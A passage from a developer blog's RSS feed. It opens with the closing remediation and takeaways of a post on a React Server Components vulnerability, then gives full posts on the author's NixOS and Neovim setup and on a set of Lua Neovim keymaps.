&lt;/ul&gt;
&lt;p&gt;The attack surface is limited only by what the server can reach. Cloud metadata endpoints, internal APIs, databases—all accessible once you have code execution.&lt;/p&gt;
&lt;p&gt;This is why running as root amplifies the damage. A non-root container user would limit some of these attacks—but the RCE itself would still be catastrophic.&lt;/p&gt;
&lt;h2 id="remediation"&gt;Remediation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Update immediately.&lt;/strong&gt; The fix adds a &lt;code&gt;hasOwnProperty&lt;/code&gt; check before resolving references, preventing prototype chain traversal:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;hasOwnProperty&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;call&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;moduleExports&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;metadata&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;NAME&lt;/span&gt;])) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;moduleExports&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;metadata&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;NAME&lt;/span&gt;]];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Check the &lt;a href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components"&gt;React security advisory&lt;/a&gt; for patched versions and further info.&lt;/p&gt;
&lt;h2 id="takeaways"&gt;Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Serialization is a minefield.&lt;/strong&gt; Any time you&amp;rsquo;re parsing untrusted input into objects, prototype pollution is a risk.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Defense in depth matters.&lt;/strong&gt; Run containers as non-root. Use read-only filesystems. Limit network egress. None of these prevent this CVE, but they limit blast radius.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Patch aggressively.&lt;/strong&gt; This vulnerability is trivial to exploit and the PoC is public.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Thanks to the security researchers who discovered and responsibly disclosed this vulnerability, and to msanft for the detailed technical writeup and PoC.&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Best Development Environment/Workflow</title><link>https://doprz.dev/blog/posts/best-development-environment-workflow/</link><pubDate>Mon, 01 Dec 2025 00:00:00 +0000</pubDate><guid>https://doprz.dev/blog/posts/best-development-environment-workflow/</guid><description>&lt;p&gt;&lt;strong&gt;People often ask me: “What’s the best tech stack?” or “Why Neovim over VSCode?”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The truth is, there’s no universal “best” - only what works best for you.&lt;/p&gt;
&lt;p&gt;My journey: Windows with Notepad++ → Sublime → VSCode (where I was comfortable for years) → Linux + Neovim(best decision I made).&lt;/p&gt;
&lt;p&gt;Then the real exploration began. I&amp;rsquo;ve tried Debian-based distros, RHEL/Fedora, CentOS/Rocky, Arch, Void, OpenSUSE, BSDs, macOS, and NixOS. Window managers and DEs: i3, awesomewm, bspwm, dwm, Hyprland, niri, GNOME, KDE, Cinnamon, MATE, XFCE.&lt;/p&gt;
&lt;p&gt;Terminal emulators? Alacritty, kitty, ghostty, Wezterm, st, foot, GNOME Terminal, Konsole, Terminator, and more. I landed on Alacritty - not because it has the most features, but because it&amp;rsquo;s minimal, patchable in Rust, and plays perfectly with tmux.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;My current stack:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;NixOS&lt;/strong&gt; - reproducible, declarative system configuration&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;home-manager&lt;/strong&gt; - version-controlled dotfiles and tool management&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Nix Flakes&lt;/strong&gt; - reproducible, declarative dev environments&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;niri&lt;/strong&gt; - Wayland compositor that fits my workflow&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Alacritty&lt;/strong&gt; - fast, minimal, hackable terminal&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;tmux&lt;/strong&gt; - session management and window splitting&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;fzf&lt;/strong&gt; - fuzzy search&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Neovim&lt;/strong&gt; - custom config built from scratch for 0.11+&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I recently rewrote my Neovim config using native LSP instead of Mason or lsp-config. Custom keybinds, handpicked plugins, autocmds. Every detail configured exactly how I think and work. It took weeks.&lt;/p&gt;
&lt;p&gt;Was it worth it?&lt;/p&gt;
&lt;p&gt;Absolutely.&lt;/p&gt;
&lt;p&gt;When I open my editor now, I enter a flow state. Not because this stack is &amp;ldquo;objectively better&amp;rdquo; than VSCode or any other setup. It&amp;rsquo;s because every keystroke, every command, every behavior is exactly what I need. No friction. No context switching. Just code.&lt;/p&gt;
&lt;p&gt;Can I work in other environments? Of course. But there&amp;rsquo;s a difference between &lt;em&gt;working&lt;/em&gt; and &lt;em&gt;thriving&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The hours spent experimenting weren&amp;rsquo;t wasted - they were an investment in understanding exactly how I work best. Trying 10+ terminals taught me what matters to me (patchability, minimalism, tmux compatibility). Testing countless window managers showed me how I think about screen space. Rebuilding my Neovim config from scratch forced me to understand every piece of my workflow.&lt;/p&gt;
&lt;p&gt;Every developer&amp;rsquo;s optimal setup is different. The key is being willing to experiment until you find yours.&lt;/p&gt;</description></item><item><title>Boost Your Productivity With These Essential Vim Keymaps</title><link>https://doprz.dev/blog/posts/essential-vim-keymaps/</link><pubDate>Mon, 01 Dec 2025 00:00:00 +0000</pubDate><guid>https://doprz.dev/blog/posts/essential-vim-keymaps/</guid><description>&lt;p&gt;After years of modifying my Neovim configuration, I&amp;rsquo;ve settled on a set of keymaps that I simply can&amp;rsquo;t live without. These aren&amp;rsquo;t flashy or complex but they&amp;rsquo;re practical quality-of-life (qol) improvements that fix some of Vim&amp;rsquo;s rough edges and make daily editing smoother.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: These keymaps are written in Lua. If you&amp;rsquo;re using Vim with vimscript, you can easily convert these using the equivalent nnoremap, inoremap, vnoremap, and xnoremap commands.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="1-move-lines-like-a-pro"&gt;1. Move Lines Like a Pro&lt;/h2&gt;
&lt;p&gt;One of the most satisfying operations is moving lines up and down without cutting and pasting. These keymaps make it effortless:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-lua" data-lang="lua"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- Normal mode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim.keymap.set(&lt;span style="color:#e6db74"&gt;&amp;#39;n&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;A-j&amp;gt;&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;cmd&amp;gt;execute &amp;#39;move .+&amp;#39; . v:count1&amp;lt;cr&amp;gt;==&amp;#34;&lt;/span&gt;, { desc &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Move Down&amp;#39;&lt;/span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim.keymap.set(&lt;span style="color:#e6db74"&gt;&amp;#39;n&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;A-k&amp;gt;&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;cmd&amp;gt;execute &amp;#39;move .-&amp;#39; . (v:count1 + 1)&amp;lt;cr&amp;gt;==&amp;#34;&lt;/span&gt;, { desc &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Move Up&amp;#39;&lt;/span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- Insert mode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim.keymap.set(&lt;span style="color:#e6db74"&gt;&amp;#39;i&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;A-j&amp;gt;&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;esc&amp;gt;&amp;lt;cmd&amp;gt;m .+1&amp;lt;cr&amp;gt;==gi&amp;#39;&lt;/span&gt;, { desc &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Move Down&amp;#39;&lt;/span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim.keymap.set(&lt;span style="color:#e6db74"&gt;&amp;#39;i&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;A-k&amp;gt;&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;esc&amp;gt;&amp;lt;cmd&amp;gt;m .-2&amp;lt;cr&amp;gt;==gi&amp;#39;&lt;/span&gt;, { desc &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Move Up&amp;#39;&lt;/span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- Visual mode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim.keymap.set(&lt;span style="color:#e6db74"&gt;&amp;#39;v&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;A-j&amp;gt;&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;:&amp;lt;C-u&amp;gt;execute &lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;,&amp;#39;&amp;gt;move &amp;#39;&amp;gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; . v:count1&amp;lt;cr&amp;gt;gv=gv&amp;#34;&lt;/span&gt;, { desc &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Move Down&amp;#39;&lt;/span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim.keymap.set(&lt;span style="color:#e6db74"&gt;&amp;#39;v&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;A-k&amp;gt;&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;:&amp;lt;C-u&amp;gt;execute &lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;,&amp;#39;&amp;gt;move &amp;#39;&amp;lt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; . (v:count1 + 1)&amp;lt;cr&amp;gt;gv=gv&amp;#34;&lt;/span&gt;, { desc &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Move Up&amp;#39;&lt;/span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;Use&lt;/em&gt; &lt;code&gt;Alt+j&lt;/code&gt; &lt;em&gt;and&lt;/em&gt; &lt;code&gt;Alt+k&lt;/code&gt; &lt;em&gt;to move lines (or visual selections) up and down. The magic here is that it works in all three modes (normal, insert, and visual) and automatically re-indents your code. Even better, it respects counts, so&lt;/em&gt; &lt;code&gt;3&amp;lt;A-j&amp;gt;&lt;/code&gt; &lt;em&gt;moves the line down three positions.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="2-clear-search-highlights-instantly"&gt;2. Clear Search Highlights Instantly&lt;/h2&gt;
&lt;p&gt;Nothing clutters your screen like lingering search highlights after you&amp;rsquo;re done searching:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-lua" data-lang="lua"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim.keymap.set(&lt;span style="color:#e6db74"&gt;&amp;#39;n&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;Esc&amp;gt;&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;cmd&amp;gt;nohlsearch&amp;lt;CR&amp;gt;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;Press&lt;/em&gt; &lt;code&gt;Esc&lt;/code&gt; &lt;em&gt;to clear search highlights without affecting anything else. It&amp;rsquo;s muscle memory that saves you from typing&lt;/em&gt; &lt;code&gt;:noh&lt;/code&gt; &lt;em&gt;dozens of times a day.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="3-escape-terminal-mode-sanely"&gt;3. Escape Terminal Mode Sanely&lt;/h2&gt;
&lt;p&gt;Vim&amp;rsquo;s terminal mode is powerful, but getting out of it with the default &lt;code&gt;&amp;lt;C-\&amp;gt;&amp;lt;C-n&amp;gt;&lt;/code&gt; is awkward:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-lua" data-lang="lua"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim.keymap.set(&lt;span style="color:#e6db74"&gt;&amp;#39;t&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;Esc&amp;gt;&amp;lt;Esc&amp;gt;&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;C-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;gt;&amp;lt;C-n&amp;gt;&amp;#39;&lt;/span&gt;, { desc &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Exit terminal mode&amp;#39;&lt;/span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;Double&lt;/em&gt; &lt;code&gt;Esc&lt;/code&gt; &lt;em&gt;to exit terminal mode feels natural and consistent with other modes.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="4-paste-without-losing-your-clipboard"&gt;4. Paste Without Losing Your Clipboard&lt;/h2&gt;
&lt;p&gt;This one solves a problem that frustrates every Vim beginner: when you paste over a visual selection, Vim yanks the deleted text into your default register, overwriting what you wanted to paste again.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-lua" data-lang="lua"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim.keymap.set(&lt;span style="color:#e6db74"&gt;&amp;#39;x&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;leader&amp;gt;p&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#34;_dP&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;Use&lt;/em&gt; &lt;code&gt;&amp;lt;leader&amp;gt;p&lt;/code&gt; &lt;em&gt;in visual mode to paste without losing your clipboard contents. It deletes the selection to the black hole register (&lt;/em&gt;&lt;code&gt;&amp;quot;_&lt;/code&gt;&lt;em&gt;) before pasting, so you can paste the same thing multiple times.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="5-copy-to-system-clipboard"&gt;5. Copy to System Clipboard&lt;/h2&gt;
&lt;p&gt;Working with the system clipboard in Vim can be clunky. This makes it trivial:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-lua" data-lang="lua"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim.keymap.set(&lt;span style="color:#e6db74"&gt;&amp;#39;n&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;leader&amp;gt;y&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#34;+y&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim.keymap.set(&lt;span style="color:#e6db74"&gt;&amp;#39;v&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;leader&amp;gt;y&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#34;+y&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;&amp;lt;leader&amp;gt;y&lt;/code&gt; &lt;em&gt;copies to the system clipboard (&lt;/em&gt;&lt;code&gt;+&lt;/code&gt; &lt;em&gt;register) instead of Vim&amp;rsquo;s internal registers.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="6-delete-without-affecting-clipboard"&gt;6. Delete Without Affecting Clipboard&lt;/h2&gt;
&lt;p&gt;Sometimes you want to delete text without storing it anywhere:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-lua" data-lang="lua"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim.keymap.set(&lt;span style="color:#e6db74"&gt;&amp;#39;n&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;leader&amp;gt;d&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#34;_d&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim.keymap.set(&lt;span style="color:#e6db74"&gt;&amp;#39;v&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;leader&amp;gt;d&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#34;_d&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;&amp;lt;leader&amp;gt;d&lt;/code&gt; &lt;em&gt;deletes to the black hole register, keeping your clipboard intact. Perfect for removing text you don&amp;rsquo;t need to paste elsewhere.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="7-quick-file-navigation-with-netrw"&gt;7. Quick File Navigation with Netrw&lt;/h2&gt;
&lt;p&gt;Vim&amp;rsquo;s built-in file explorer (netrw) is surprisingly powerful once you have quick access to it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-lua" data-lang="lua"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim.keymap.set(&lt;span style="color:#e6db74"&gt;&amp;#39;n&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;leader&amp;gt;e&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;:Ex&amp;lt;cr&amp;gt;&amp;#39;&lt;/span&gt;, { desc &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Open netrw&amp;#39;&lt;/span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;&amp;lt;leader&amp;gt;e&lt;/code&gt; &lt;em&gt;instantly opens netrw in the current window, letting you navigate your project structure without reaching for a mouse or a separate file tree plugin. It&amp;rsquo;s lightweight, always available, and surprisingly capable once you learn the basics (- to go up a directory, % to create a file, d to create a directory).&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="credit-where-credits-due"&gt;Credit Where Credit&amp;rsquo;s Due&lt;/h2&gt;
&lt;p&gt;I first fell down the Vim rabbit hole thanks to ThePrimeagen&amp;rsquo;s excellent video &amp;ldquo;0 to LSP : Neovim RC From Scratch&amp;rdquo;. If you&amp;rsquo;re building your config from scratch or looking to understand the fundamentals, it&amp;rsquo;s an invaluable resource. Many of these keymaps are inspired by patterns and principles I learned from his content and the broader Neovim community.&lt;/p&gt;
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;"&gt;
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/w7i4amO_zaE?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;The beauty of Vim is that everyone&amp;rsquo;s config evolves differently based on their workflow. These keymaps work for me, but your mileage may vary. The important thing is understanding why each mapping exists so you can adapt them to your needs.&lt;/p&gt;</description></item></channel></rss>